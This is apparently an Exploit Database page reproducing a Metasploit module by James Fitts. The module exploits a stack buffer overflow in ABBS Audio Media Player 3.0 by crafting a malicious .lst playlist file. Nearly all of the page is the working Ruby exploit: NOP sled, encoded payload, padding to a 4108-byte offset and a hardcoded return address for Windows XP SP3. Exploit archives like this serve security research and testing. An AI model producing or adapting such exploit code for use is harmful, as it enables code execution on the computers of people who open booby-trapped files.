ABBS Audio Media Player 3.0 – Local Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： James Fitts
  日期： 2011-08-04
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17604/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'ABBS Audio Media Player 3.0 (LST File) Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow vulnerability
  					found in ABBS Audio Media Player 3.0. 
  					The overflow occurs when an overly long string is passed
  					in the lst file.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' => [ 
  					'h1ch4m',		# Initial Discovery
  					'James Fitts'	# Metasploit Module
  					],
  			'Version'=> '$Revision: $',
  			'References' =>
  				[
  					[ 'URL', 'http://www.exploit-db.com/exploits/16976' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload'=>
  				{
  					'BadChars' => "\x00\x0a\x0d",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 
  						'Windows XP SP3 EN', 
  						{ 
  							'Ret' => 0x0043551f, # call dword ptr ds:[eax] in amp.exe
  							'Offset' => 4108
  						} 
  					],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Mar 14 2011',
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptString.new('FILENAME', [ true, 'The file name.','msf.lst']),
  				], self.class)
  	end
  
  	def exploit
  		
  		lst = make_nops(50)
  		lst << payload.encoded
  		lst << make_nops(target['Offset'] - (50 + payload.encoded.length))
  		lst << [target.ret].pack('V')
  		lst << rand_text_alpha_upper(4)
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  
  		file_create(lst)
  
  	end
  
  end